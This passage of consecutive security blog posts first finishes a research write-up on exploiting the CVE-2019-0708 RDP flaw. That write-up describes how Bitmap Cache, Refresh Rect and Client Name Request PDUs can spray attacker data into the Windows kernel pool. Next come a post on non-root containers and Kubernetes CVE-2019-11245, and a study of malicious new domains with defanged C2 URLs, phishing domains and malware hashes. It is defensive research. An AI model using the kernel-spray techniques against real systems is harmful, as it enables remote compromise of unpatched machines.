Based on these four characteristics of BITMAPCACHE PERSISTENT LIST PDU, it appears to be a good candidate to write arbitrary data into the kernel if either the number of bitmap keys limit to 169 can be bypassed, or the RDP developers in Microsoft didn’t implement it according to that limit.

How to write data into kernel with Bitmap Cache PDU

According to MS-RDPBCGR documentation, a normal decrypted BITMAPCACHE PERSISTENT LIST PDU is shown below:

f2 00 -> TS_SHARECONTROLHEADER::totalLength = 0x00f2 = 242 bytes

17 00 -> TS_SHARECONTROLHEADER::pduType = 0x0017

0x0017

= 0x0010 | 0x0007

= TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

ef 03 -> TS_SHARECONTROLHEADER::pduSource = 0x03ef = 1007

ea 03 01 00 -> TS_SHAREDATAHEADER::shareID = 0x000103ea

00 -> TS_SHAREDATAHEADER::pad1

01 -> TS_SHAREDATAHEADER::streamId = STREAM_LOW (1)

00 00 -> TS_SHAREDATAHEADER::uncompressedLength = 0

2b -> TS_SHAREDATAHEADER::pduType2 =

PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST (43)

00 -> TS_SHAREDATAHEADER::generalCompressedType = 0

00 00 -> TS_SHAREDATAHEADER::generalCompressedLength = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[4] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[4] = 0

03 -> TS_BITMAPCACHE_PERSISTENT_LIST::bBitMask = 0x03

0x03

= 0x01 | 0x02

= PERSIST_FIRST_PDU | PERSIST_LAST_PDU

00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad2

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad3

TS_BITMAPCACHE_PERSISTENT_LIST::entries:

a3 1e 51 16 -> Cache 2, Key 0, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

48 29 22 78 -> Cache 2, Key 0, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

61 f7 89 9c -> Cache 2, Key 1, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

cd a9 66 a8 -> Cache 2, Key 1, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

…

In kernel module RDPWD.sys, the function routine ShareClass::SBC_HandlePersistentCacheList is responsible for parsing BITMAPCACHE PERSISTENT LIST PDU. When the bBitMask field in the structure is set to a bit value of 0x01, it indicates the current PDU is PERSIST FIRST PDU. SBC_HandlePersistentCacheList will then call WDLIBRT_MemAlloc to allocate a kernel pool (allocate kernel memory) to store persistent bitmap cache keys as shown in Figure 4. A value of 0x00 indicates the current PDU is PERSIST MIDDLE PDU. A value of 0x02 indicates the current PDU is PERSIST LAST PDU. When parsing PERSIST MIDDLE PDU and PERSIST LAST PDU, SBC_HandlePersistentCacheList will copy bitmap cache keys to the memory allocated before as shown in Figure 5.

Figure 4. SBC_HandlePersistentCacheList pool allocation and totalEntriesCacheLimit check

Figure 5. SBC_HandlePersistentCacheList copy bitmap cache keys

The stack trace on Windows 7 x86 and the second argument to TS_BITMAPCACHE_PERSISTENT_LIST structure of SBC_HandlePersistentCacheList are shown in Figure 6 and Figure 7.

$C:\Users\ga1ois\AppData\Local\Microsoft\Windows\INetCache\Content.Word\SBC_HandlePersistentCacheList stack trace.bmp$ Figure 6. SBC_HandlePersistentCacheList stack trace

Figure 7. TS_BITMAPCACHE_PERSISTENT_LIST structure as the second argument of SBC_HandlePersistentCacheList

As seen in Figure 4, bitmapCacheListPoolLen = 0xC * (total length + 4) and the total length = totalEntriesCache0 + totalEntriesCache1 + totalEntriesCache2 + totalEntriesCache3 + totalEntriesCache4. Based on this formula we can set “WORD value” totalEntriesCacheX=0xffff to make the bitmapCacheListPoolLen to the maximum value. However, there is a totalEntriesCacheLimit check for each totalEntriesCacheX shown in Figure 8. The totalEntriesCacheLimitX is from the TS_BITMAPCACHE_CAPABILITYSET_REV2 structure, which is initiated in the CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2 function when calling DCS_Init by RDPWD, shown in Figure 8. This will be combined in the CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2 function when parsing active confirm PDU, as shown in Figure 9.

Figure 8. RDPWD!CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2

Figure 9. RDPWD!CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2

CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2 will combine the server initiated NumCellCaches (0x03) and totalEntriesCacheLimit[0-4] (0x258, 0x258, 0x10000, 0x0, 0x0) with client request NumCellCaches (0x03) and totalEntriesCache[0-4] (0x80000258, 0x80000258, 0x8000fffc, 0x0, 0x0), shown with edx and esi registers in Figure 9. The client can control NumCellCaches and totalEntriesCache[0-4], shown in Figure 10, but they cannot be over the server initiated NumCellCaches (0x03) and totalEntriesCacheLimit[0-4] (0x258, 0x258, 0x10000, 0x0, 0x0) shown in Figure 11.

Figure 10. TS_BITMAPCACHE_CAPABILITYSET_REV2

Figure 11. CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2 function

With this knowledge we can compute the maximum bitmapCacheListPoolLen = 0xC * (0x10000 + 0x258 + 0x258 + 4) = 0xc3870 and theoretically we can control 0x8 * (0x10000 + 0x258 + 0x258 + 4) = 0x825a0 bytes data in the kernel pool, as shown in Figure 12.

Figure 12. Persistent Key List PDU Memory dump

However, we observed that not all data can be controlled by the RDP client in bitmap cache list pool as expected. There is a 4 byte uncontrolled data (the index value) between each 8 bytes controlled data which is not friendly for shellcode. Additionally the 0xc3870 sized kernel pool cannot be allocated multiple times due to the fact the Persistent Key List PDU can only be sent once legitimately. However, there are still specific statistical characteristics that the kernel pool will be allocated at the same memory address. Besides, there is always a 0x2b522c (on x86) or 0x2b5240 (on x64) kernel sized pool allocated before bitmap cache list pool allocation which could be useful for heap grooming especially on x64 as shown in Figure 13.

Figure 13. Persistent Key List PDU statistical characteristics

Refresh Rect PDU

Per MS-RDPBCGR documentation, the Refresh Rect PDU allows the RDP client to request that the server redraw one or more rectangles of the session screen area. The structure includes the general PDU header and the refreshRectPduData (variable) shown in Figure 14.

Figure 14. Refresh Rect PDU Data

The numberOfAreas field is an 8-bit unsigned integer to define the number of Inclusive Rectangle structures in the areasToRefresh field. The areaToRefresh field is an array of TS_RECTANGLE16 structures shown in Figure 15.

Figure 15. Inclusive Rectangle (TS_RECTANGLE16)

The Refresh Rect PDU is designed to notify the server with a series of arrays of screen area “Inclusive Rectangles” to make the server redraw one or more rectangles of the session screen area. It is based on default opened channel with the channel ID 0x03ea (Server Channel ID). After the connection sequence is finished, as shown in Figure 1, Refresh Rect PDU can be received/parsed by the RDP server and most importantly, can be sent for multiple times legitimately. Although limited to only 8 bytes for TS_RECTANGLE16 structure, which means only 8 bytes and not massive data can be controlled by the RDP client, it is still a very good candidate to write arbitrary data into the kernel.

How to write data into kernel with Refresh Rect PDU

A normal decrypted Refresh Rect PDU is shown in Figure 16.

Figure 16. A decrypted Refresh Rect PDU

The kernel module RDPWD.sys code function WDW_InvalidateRect is responsible for parsing Refresh Rect PDU as seen in Figure 17, below.

Figure 17. RDPWD!WDW_InvalidateRect stack trace

As shown in Figure 18, WDW_InvalidateRect function will parse Refresh Rect PDU stream and retrieve the numberOfAreas field from the stream as the loop count. Being a byte type field, the maximum value of numberOfAreas is 0xFF, so the maximum loop count is 0xFF. In the loop, WDW_InvalidateRect function will get left, top, right, and bottom fields in TS_RECTANGLE16 structure, put them in a structure on the stack and make it as the 5^th parameter of WDICART_IcaChannelInput. To be mentioned here, the 6^th parameter of WDICART_IcaChannelInput is the constant 0x808, and we will show how it helps for an efficient spray.

Figure 18. RDPWD!WDW_InvalidateRect function

WDICART_IcaChannelInput will eventually call kernel module termdd.sys function IcaChannelInputInternal. As shown in Figure 19, if a series of condition checks are True, the function IcaChannelInputInternal will call ExAllocatePoolWithTag to allocate an inputSize_6th_para + 0x20 sized kernel pool. As such, when the function IcaChannelInputInternal is called by RDPWD!WDW_InvalidateRect, inputSize_6th_para=0x808, and the size of the kernel pool is 0x828.

Figure 19. termdd!IcaChannelInputInternal ExAllocatePoolWithTag and memcpy

If the kernel pool allocation is successful, memcpy will be called to copy input_buffer_2 to the newly allocated kernel pool memory. Figure 20 shows the parameters of memcpy when the caller is RDPWD!WDW_InvalidateRect.

Figure 20. termdd!IcaChannelInputInternal memcpy windbg dump

Interestingly, the source address of the function memcpy is from the stRect structure on the stack of RDPWD!WDW_InvalidateRect and only the first 3 DWORDs are set in RDPWD!WDW_InvalidateRect, as shown in Figure 21. The leftover memory is uninitialized content on the stack and it is easy to cause information leaks. Besides, using a 0x808 sized memory to store 12 bytes of data is also spray-friendly.

Figure 21. RDPWD!WDW_InvalidateRect stRect structure set

Using this information, when the RDP client sends one Refresh Rect PDU with the numberOfAreas field of 0xFF, the RDP server will call termdd!IcaChannelInputInternal 0xFF times. Each termdd!IcaChannelInputInternal call will allocate 0x828 kernel pool memory and copy eight bytes of client controlled TS_RECTANGLE16 structure to that kernel pool. So, one Refresh Rect PDU with numberOfAreas field of 0xFF will allocate 0xFF number of 0x828 sized kernel pools. In theory if the RDP client sends Refresh Rect PDU 0x200 times, the RDP server will allocate around 0x20000 of 0x828 size non-paged kernel pools. Considering 0x828 sized kernel pool will be aligned by 0x1000, they will span a very large scope of the kernel pool and at the same time, client controlled eight bytes of data would be copied at the fixed 0x02c offset in each 0x1000 kernel pool. This is demonstrated in Figure 22 we get a stable pool spray in the kernel with Refresh Rect PDU.

Figure 22. RDPWD!WDW_InvalidateRect spray

There are situations where ExAllocatePoolWithTag and memcpy are not be called when a pointer (represented as variable v14 in Figure 23) is modified by termdd!_IcaQueueReadChannelRequest and the comparison will be False as shown in Figure 23, the route will enter routine _IcaCopyDataToUserBuffer which leads to an unsuccessful pool allocation. However, when sending Refresh Rect PDU many times, we can still get a successful kernel pool spray even though there are some unsuccessful pool allocations.

Besides, there are situations where some kernel pools may be freed after the RDP server is finished using them, but the content of the kernel pool will not be cleared, making the data which we spray into the kernel valid to use in the exploit.

Figure 23. termdd!IcaChannelInputInternal IcaCopyDataToUserBuffer

RDPDR Client Name Request PDU

Per MS-RDPEFS documentation RDPDR Client Name Request PDU is specified in [Remote Desktop Protocol: File System Virtual Channel Extension] which runs over a static virtual channel with the name RDPDR. The purpose of the MS-RDPEFS protocol is to redirect access from the server to the client file system. Client Name Request is the second PDU sent from client to server as shown in Figure 24.

Figure 24. File System Virtual Channel Extension protocol initialization

Client Name Request PDU is used for the client to send its machine name to the server as shown in Figure 25.

Figure 25. Client Name Request (DR_CORE_CLIENT_NAME_REQ)

The header is four bytes RDPDR_HEADER with the Component field set to RDPDR_CTYP_CORE and the PacketId field set to PAKID_CORE_CLIENT_NAME. The ComputerNameLen field (4 bytes) is a 32-bit unsigned integer that specifies the number of bytes in the ComputerName field. The ComputerName field (variable) is a variable-length array of ASCII or Unicode characters, the format of which is determined by the UnicodeFlag field. This is a string that identifies the client computer name.

How to write data into kernel with RDPDR Client Name Request PDU

The following can be said about the RDPDR Client Name Request PDU. The Client Name Request PDU can be sent for multiple times legitimately, for each request the RDP server will allocate a kernel pool to store this information, and most importantly, the content and length of the PDU can be fully controlled by the RDP client. This makes it an excellent choice to write data into the kernel memory. A typical RDPDR Client Name Request PDU is shown in Figure 26.

Figure 26. client name request memory dump

When the RDP server receives a RDPDR Client Name Request PDU, the function IcaChannelInputInternal in the kernel module termdd.sys is called to dispatch channel data first, then the RDPDR module will be called to parse the data part of the Client Name Request PDU. The function IcaChannelInputInternal for Client Name Request PDU applies the same code logic as for Refresh Rect PDU. It will call ExAllocatePoolWithTag to allocate kernel memory with tag TSic and use memcpy to copy the client name request data to the newly allocated kernel memory as shown in Figure 27.

Figure 27. client name request

So far, we have demonstrated the copied data content and length are both controlled by the RDP client, and the Client Name Request PDU can be sent multiple times legitimately. Due to its flexibility and exploit-friendly characteristics the Client Name Request PDU can be used to reclaim the freed kernel pool in UAF (Use After Free) vulnerability exploit and also can be used to write the shellcode into the kernel pool, even can be used to spray consecutive client controlled data into the kernel memory.

As shown in Figure 28 we successfully obtained a stable pool allocation and write client-controlled data into the kernel pools with RDPDR Client Name Request PDU.

Figure 28. client name request stable pool allocation

Detection and Mitigation

CVE-2019-0708 is a severe vulnerability targeting RDP and can be exploitable with unauthenticated access. According to the MSRC advisory, Windows XP, Windows 2003, Windows 7 and Windows 2008 are all vulnerable. Organizations using those Windows versions are encouraged to patch their systems to prevent this threat. Users should also disable or restrict access to RDP from external sources when possible.

Palo Alto Networks customers are protected from this vulnerability by:

Traps prevents exploitation of this vulnerability on Windows XP, Windows 7, and Windows Server 2003 and 2008 hosts.
Threat Prevention detects the scanner/exploit.

Conclusion

In this blog we introduced three ways to write data into the kernel with RDP PDU.

Bitmap cache PDU allows the RDP server to allocate a 0xc3870 sized kernel pool after a 0x2b5200 sized pool allocation and write controllable data into it, but cannot perform the 0xc3870 sized kernel pool allocation multiple times.
Refresh Rect PDU can spray many 0x828 sized kernel pools which are 0x1000 aligned and write 8 controllable bytes into each 0x828 sized kernel pool.
RDPDR Client Name Request PDU can spray controllable sized kernel pool and fill them with controllable data.

We believe that there are other yet-to-be-documented ways to make CVE-2019-0708 exploitation easier and more stable. Users should take steps to ensure their vulnerable systems are protected through one of the mitigation steps listed above.

Thank you to Mike Harbison for his assistance in editing this report.

Non-Root Containers, Kubernetes CVE-2019-11245 and Why You Should Care

Posted on August 28, 2019June 7, 2024 by Unit 42

On May 31th, the Kubernetes Product Security Committee announced a security regression in Kubernetes for which they had assigned CVE-2019-11245. The problem caused containers that use images which are supposed to run with a non root user to run as root, on the second time they are used or upon restart of the container.

Before elaborating on this particular security issue, let’s first clarify why running a program as root in a container is even a concern at all.

Non-root containers

When running applications on a non-containerized Linux environment, e.g. on the host machine, it is commonly understood why isolation between the root user and non-privileged users is desired. If run as root, any breached or misbehaving application could easily wreak havoc on the system, by modifying system files, stopping or launching privileged processes and so on. Many popular Linux daemons drop privileges in their early setup stages, for example the nginx daemon for Ubuntu forks and runs as the unprivileged www-data user.

With containers, privilege separation was made even simpler. Each container runs in its own runtime, isolated by Linux namespaces and a dropped set of capabilities. Each application is meant to run in its own container, and root is assumed to be safe to use in the container.

It has therefore become commonplace for applications in containers to run with root privileges, and most images do not change to a non-privileged user. Unfortunately, it is not commonly understood that by doing so these images may be missing out on an important security layer. That is especially true given many of these images have no real use for running as the root user.

To their credit, some container platforms run all their containers as a non root user by default. OpenShift, for example, requires its users to use images that support running as a random, non-root user. It then runs each of its containers as an arbitrary non-root user.¹

In addition, some containerized applications drop root privileges by changing to a non-root user after setup, allowing them to rely on user based file permissions to prevent access to sensitive files (e.g. configurations) or processes in the containers. This limits the damage an attacker can do in a breached container. Jenkins is a good example of an image with this design.

Nevertheless, the main reason for which using a non-root user in containers is a valuable security precaution is prevention of container breakout.

Most container runtimes share the same root user between the host and containers. By itself this is not a problem, since the container process is sandboxed using Linux capabilities and Linux namespaces such as PID, net, mount and IPC. But if the kernel makes no distinction between the user or group IDs of the host and the container, any vulnerability in the container runtime that exposes anything from the host to a container process invites serious trouble. Put simply, succeeding in container breakout is much more probable for processes running as root.

In such a scenario, a malicious process would be able to modify any file on the system without having to further escalate privileges to the root user. Moreover, some container escape vulnerabilities simply require root privileges to exploit.

Over the years, multiple breakout vulnerabilities have been revealed in container engines including Kubernetes and Docker. One example is CVE-2016-9962, a vulnerability in runc² allowing container processes to escape the host by grabbing file-descriptors from the host before their capabilities were dropped. Exploitation of this flaw required running the process as root. CVE-2019-5736, another runc vulnerability of the same nature that was found earlier this year, also required the malicious container process to run as the root user, as explained by Yuval Avrahami in his exploitation writeup.

User namespaces and rootless containers

A recent Linux kernel development that was designed to solve the issue of root in containers is user namespaces. User namespaces allow for isolation of the container’s user IDs and group IDs. This kernel feature uses a mapping of UIDs and GIDs to differentiate between the users and groups on the host to those in the container. This allows for a process to run as UID 0 (root) inside the container while being UID 100000 (or any other UID) on the host. If then a process breaks out of a container the kernel will treat its effective user as the mapped non-root UID, and that process won’t have root privileges on the host. Great!

Yet the main container runtimes currently refrain from using user namespaces as the default. The feature was added to the kernel in Linux 3.8, which dates back to 2013, and Docker first integrated user namespaces back in 2015. However, since then it’s never been enabled in Docker as a default feature, presumably due to the limitations its use imposes. For example, external volume or storage drivers are unaware of the user mappings, and mounting files from the host may become complex due to file permissions.

At the same time, all the current implementations of rootless containers rely on user namespaces at their core. Not to be confused with what is referred to as non-root containers in this article, rootless containers are containers that can be run and managed by unprivileged users on the host. While Docker and other runtimes require a daemon running as root, rootless containers can be run by any user without additional capabilities.

Rootless containers have some benefits over traditional containers, such as allowing users on a shared machine to run containers without admin permission (e.g. in university labs) and making it possible to run nested containers (even for non privileged containers). However the main motivation for designing rootless containers was, in fact, mitigating the aforementioned vulnerabilities in container runtimes³.

The adoption of rootless containers is growing in trend. Major container tools like runc and Docker are releasing support for rootless, and new container engines and image builders have been released to allow for native rootless containers. Podman, a daemonless container engine, is seemingly mature enough to replace Docker with rootless containers alone.

Although user namespaces are not the focus of this article, it is worth mentioning that they do provide additional security benefits to traditional non-root containers. Without user namespaces, even if a container process runs without root, any privilege escalation vulnerability in the container could still compromise the host. For example, a malicious container process could exploit a vulnerable setuid binary to become root. This would not be possible if the root user inside the container is mapped to a non-root user on the host.

Building and running non-root containers

In Docker, the USER instruction can be used in a Dockerbuild file to change to any desired UID for all subsequent commands. The last USER instruction also determines which UID the container will run as by default. Many containers run all their build logic as root and add this instruction before the end of the build file.

Docker also lets users run images or execute commands in a container with a particular UID by using the --user flag.

With Kubernetes, pods or containers can be further constricted to run as a specific UID through the runAsUser field of either a Security Context or a Pod Security Policy. With Pod Security Policies it is also possible to restrict containers to run as UIDs within a selected range with the MustRunAs field, or simply prevent containers from running as root with the MustRunAsNonRoot field.

Kubernetes issue CVE-2019-11245

Following the release of Kubelet v1.13.6 and v1.14.2, multiple Kubernetes users complained that their non-root containers were being run as root from their second execution⁴. Upon investigation of this issue, it was discovered to be a problem specific to dockershim, the Kubernetes component that runs Docker containers.

Docker containers built to run as a non root users with the USER instruction were being run as root by Kubernetes, starting from their second execution.

This was, of course, a security issue. Besides the previously mentioned dangers of running as root in containers, users may have relied on the user configurations for their design. For instance, users could have exposed volumes to containers in knowing they do not have root privilege.

The issue was quickly fixed by reverting a certain commit in the Kubelet code that broke the detection of an image UID. The broken logic was run only if the Docker image was previously pulled to the node, explaining why the bug only took place from the second execution or later.

The two Kubelet releases with this commit (v1.13.6 and v1.14.2) were the only affected by this vulnerability.

Takeaways

The use of containers follows the principle of least privilege by its nature, as containers usually have limited responsibilities and capabilities. By restricting containers from using root when it is not strictly needed, we can further increase their security and prevent attackers from exploiting flaws that may be found in container engines.

There is good reason to believe that in the not-so-far future container runtimes will enable user namespaces support by default and rootless containers will be adopted as the mainstream. Sure, current implementations have their handful of limitations, but soon enough developers will eliminate them as the reach of these projects grow.

¹https://docs.openshift.com/container-platform/3.3/creating_images/guidelines.html#use-uid
²Currently the most common OCI implementation for container runtimes, used in Docker, see in GitHub
³Rootless Containers, DevConf.CZ (Jan 25, 2019), Giuseppe Scrivano and Akihiro Suda
⁴See https://github.com/kubernetes/kubernetes/pull/78178, https://github.com/kubernetes/kubernetes/issues/78175 and https://github.com/kubernetes/kubernetes/issues/78308

Newly Registered Domains: Malicious Abuse by Bad Actors

Posted on August 20, 2019June 7, 2024 by Zhanhao Chen

Executive Summary

Newly registered domains (NRDs) are known to be favored by threat actors to launch malicious campaigns. Academic and industry research reports have shown statistical proof that NRDs are risky, revealing malicious usage of NRDs including phishing, malware, and scam. Therefore, best security practice calls for blocking and/or closely monitoring NRDs in enterprise traffic. Despite the evidence, there hasn’t yet been a comprehensive case study on the malicious usages and threats associated with NRDs using real world examples. This blog presents that comprehensive case study and analysis of malicious abuses of NRDs by bad actors.

We have been tracking NRDs for more than nine years. We collaborate with the Internet Corporation for Assigned Names and Numbers (ICANN) and various domain registries and registrars, which provides us direct visibility of many NRDs registered under both generic top-level domains (gTLDs) and country-code top-level domains (ccTLDs). We also indirectly identify NRDs by leveraging a combination of data sources, including WHOIS, zone files, and passive DNS. Our proprietary NRD feed consists of 1,530 top-level domains, which to our knowledge exceeds the best NRD feed/service publicly offered on the market.

Our analysis shows that more than 70% of NRDs are “malicious” or “suspicious” or “not safe for work.” This ratio is almost 10 times higher than the ratio observed in Alexa’s top 10,000 domains. Also, most NRDs used for malicious purposes are very short-lived. They can be alive only for a few hours or a couple of days, sometimes even before any security vendor can detect it. This is why blocking NRDs is a necessary, preventive security measure for enterprises.

In this blog, we present some high-level statistics on recent NRDs, demonstrate the malicious usage and threats associated with them through case studies and conclude with a discussion of best practices.

High Level Statistics

Volume

Our system identifies, on average, about 200,000 NRDs every day. The total volume fluctuates between 150,000 and 300,000. Figure 1 displays the volume of NRDs from March 10 to May 29, 2019. In general, there are consistently more NRDs registered on weekdays than weekends, with the peak usually on Wednesday and low on Sunday.

Figure 1. Volume of daily NRDs.

Distribution of TLDs

Not every TLD has new registrations every day. On average, there are between 600 and 700 unique TLDs showing up in daily NRDs. Figure 2 lists the top 10 TLDs with the most registrations. The distribution is averaged over a dataset of three months, from March to May 2019. As one can see, .com is still the most popular TLD even though it was introduced 34 years ago (March 15, 1985). It accounts for 33% of all recent NRDs.

The second position changes over time, but mainly among a few ccTLDs including .tk, .cn, and .uk. For example, .cn remained in second place from November to December 2018. However, from March to May 2019, .tk was consistently in second place. Those ccTLDs get large numbers of of NRDs because they offer free domain registrations (e.g. .tk, .ml, .ga, .cf and .gq).

Usage of NRDs

In order to understand the purpose of these new registrations, we cross-check these domains against categories assigned by our PAN-DB URL Filtering service. This service categorizes a URL through a group of techniques including web content crawling, malware traffic analysis, passive DNS data analysis, machine learning, and deep learning. For simplicity, we group the categories into five classes: “malicious” “suspicious” “not safe for work” “benign” and “other.” For malicious URLs, we have three categories, namely Malware, Command and Control (C2), and Phishing. For suspicious URLs, we use categories Parked, Questionable, Insufficient Content, and High Risk. We tag Nudity, Adult, Gambling, and similar subjects as “not safe for work.” For benign URLs, we use Business & Economy, Computer & Internet Info, and Shopping. Anything not fitting into these categories falls into an “other” class. Figure 3 shows the breakdown of the five classes.

Over 70% of NRDs are marked malicious, suspicious, or not safe for work by our PAN-DB URL Filtering service. This ratio is almost 10 times higher than the ratio observed in Alexa’s top 10,000 domains, which is only 7.6%. In addition, malicious categories accounts for about 1.27% of NRDs by our PAN-DB URL Filtering service. In Alexa top 10,000 domains, however, this ratio is only about 0.07%.

Malicious NRDs

To further understand the characteristics of malicious NRDs, we checked and calculated the ratio of malicious NRDs for each TLD. Figure 4 lists the top 15 TLDs with the highest malicious rate on recent NRDs. Many of those are ccTLDs. Some reasons for a TLD to have a high malicious rate include inexpensive or free registration, a less strict registration policy, and obscuring WHOIS registrant data from public view.

Figure 4. Top 15 TLDs with the highest malicious NRD rate.

The original version of this blog listed different top 15 TLDs with the highest rate of malicious newly registered domains. Since publication we found that our analysis included some domains that were contacted by malware, but not actually registered. We re-evaluated the data and updated the chart to reflect the new analysis.

Malicious Usages and Threats

Now we discuss the malicious abuse of NRDs. We analyzed NRDs observed in our products and services, including URL Filtering, WildFire, and DNS Security. We found NRDs are associated with malicious usages and threats such as C2, malware distribution, phishing, typosquatting, PUP/Adware, and spam. Below are highlights from each category with real world examples.

C2 Domain

Malware typically needs to “phone home” in order to get commands, download further payloads, or perform data exfiltration. The malicious domain used for this purpose is called the command and control (C2) domain.

soroog[.]xyz was first registered on May 29, 2019 and we observed malware using this domain for C2 the same day. So far, we have seen seven AzoRult malware samples using this C2 domain. Malware belonging to this family can automatically collect sensitive data, including bitcoin wallet and credit card information.

Figure 5 captures a portion of the malware traffic wherein it’s actively communicating with the C2 soroog[.]xyz. This domain was initially hosted on the IP address 51.68.184[.]115. Based on our passive DNS records, the IP switched to 51.38.101[.]194 on June 24, 2019. This domain turned into NXDomain (non-existent domain) after June 26, 2019. As one can see, this domain was very short-lived. Actually, this is true for most NRDs used for malicious purposes. They are alive for only a few hours or a couple of days, sometimes even before any security vendor can detect it. That is why blocking NRDs is a necessary, preventive security measure.

Figure 5. Packet capture of AzoRult C2 traffic.

Table 1 further enumerates the C2 URLs under this domain along with their usages. Readers with further interests in the behavior of this malware can refer to these two public analysis reports.

URL	Usage
soroog[.]xyz/addbot	registering a new bot
soroog[.]xyz/wallets	sending out stolen information
soroog[.]xyz/suicide	reporting self-delete
soroog[.]xyz/task	registering a new task
soroog[.]xyz/cpu	sending out CPU information

Table 1. C2 URLs and usages of AzoRult malware.

Malware Distribution

NRDs are commonly used for malware distribution. Here we use the Emotet malware family as an example. Emotet is a banking trojan that sniffs network traffic for banking credentials. Despite being discovered in 2014, it is still widely prevalent today. We have observed 50,000 unique samples so far in 2019. The initial delivery is usually through phishing attacks. As shown in Figure 6, the malicious DOC often comes as an attachment in a phishing email or from a compromised website. This DOC often primarily acts as a downloader and will download and execute a further payload. The downloading is normally via HTTP and we have observed thousands of downloading URLs. Many of them are hosted on NRDs.

Figure 6. Emotet malware distribution chain.

For example, domain hvkbvmichelfd[.]info was registered on May 2, 2019. Only four days after that, on May 6, we saw an Emotet DOC using the URL hxxp://hvkbvmichelfd[.]info/skoex/po2.php?l=spond1.fgs to download a further payload. Interestingly, the payload further contacted another NRD halanis21yi84alycia[.]top to download a 2nd-stage payload (not shown in Figure 6). This second domain was also registered on May 2, 2019.

Readers who want to learn more about Emotet can refer to these two public blogs.

Phishing

NRDs are also frequently used by phishing campaigns. The domain canada-neflxt[.]com was registered on July 4, 2019. According to our passive DNS record, we started to see traffic to this domain on July 6 and it was an active phishing site until July 17. It tries to steal victims’ Netflix credentials as well as billing information (Figure 10). There is another domain netflix-mail[.]ca also redirecting to canada-neflxt[.]com. This domain was registered on July 11.

This phishing website incorporated several techniques in order to hide it from automatic detection methods. For instance, the login page canada-neflxt[.]com/login (Figure 7a) utilizes a captcha to prevent crawlers from reaching further contents. In addition, right click is disabled on the login page (Figure 7b). We believe this is to prevent a victim from easily inspecting the website for page resources and network traffic. After entering an email and password, we observed unencrypted information being sent out. Next, the victim will reach a page for setting up billing information (Figure 7c).

Figure 7a. Login page with Captcha.

Figure 7b. Login page with a login form and right click being disabled.

Figure 7c. Billing page to collect billing information.

Typosquatting

Domain typosquatting is a form of domain squatting that takes advantage of typos made by Internet users when typing a domain name into a web browser. There are three major ways to monetize a typosquatting domain. First, waiting to sell at a high price to the owner of the targeted domain (e.g. facebo0k[.]com as opposed to facebook[.]com). However, according to our analysis, big companies have been doing a reasonably good job in defensive registration. Plus, there are many brand monitoring/protection services to help with defensive registration. Therefore, it has become more and more difficult to make money in this way. Second, to serve ads or redirect the traffic to ads or competitors (for example, t-mogbile[.]com redirects to verizonwireless[.]com). The essential idea is to monetize the traffic. If the traffic volume is large enough to make more money than the registration fee (usually less than $10 per year), it is economically worthwhile to do this. Third, to serve malicious content like a phishing page, drive-by download of malware, etc.

Typosquatting domains are widely observed in NRDs. As an example, domain mocrosoft[.]cf is likely a typosquatting domain targeted at Microsoft. This is because the letter “i” and “o” are next to each other on a typical keyboard and a typo is possible. This domain was first registered on June 3, 2019 and traffic to this domain was captured in our data on the same day. Figure 8 is the screenshot for browsing it using Microsoft Edge. Obviously, it's a phishing page trying to steal the users’ login credentials.

Figure 8. Phishing page with fake user login form.

DGA

Domain generation algorithm (DGA) is a common approach used by malware to periodically generate a large amount of domains which can serve malicious purposes like C2 and data exfiltration. Most DGAs generate domains based on date and time. For example, Conficker C generates 50,000 domains every day. The huge volume of domains makes takedown efforts by law enforcement extremely difficult. However, the attacker knows the algorithm and thus can predict what domains will be generated on a particular date. So he or she only needs to register one or a few domains on demand. A large majority of DGA domains look very random.

As an example, ypwosgnjytynbqin[.]com is a DGA domain belong to Ramnit family. It was registered on July 3, 2019. Three days later on July 6, we observed a Ramnit sample (SHA256: 136896c4b996e0187fb3e03e13c9cf7c03d45bbdc0a0e13e9b53c518ec4517c2) talking to this domain.

Below in Table 2 are some additional examples where the malware communicating with DGA domains shortly after them being registered.

C2 Domain	Registration Date	Malware SHA256	Malware First Seen Date	Malware Family
eqbqcguiwcymao[.]info	2019-01-17	6e812122f3067348580f06a1c62068cf7d3bf05a86e129396d51dd7666bcf7b9	2019-01-21	Pykspa
aaqkekyaum[.]org	2019-04-13	418dd3d94d138701f06c58ffb189dfae08c778fb9ad3859dbb7a301f299a8e55	2019-04-13	Pykspa
qgasocuiwcymao[.]info	2019-06-12	72748e6e2a3260e684f295eafcb8dd5b9927d15c41857435dfa28fd473eeccc4	2019-06-13	Pykspa
litvxvkucxqnaammvef[.]com	2019-04-11	de51942e72483067aaeae3810bc4a24b8e12a782b3a59385989f9fccba08e421	2019-04-13	Ramnit

Table 2. DGA in NRDs and associated malware.

PUP and Adware

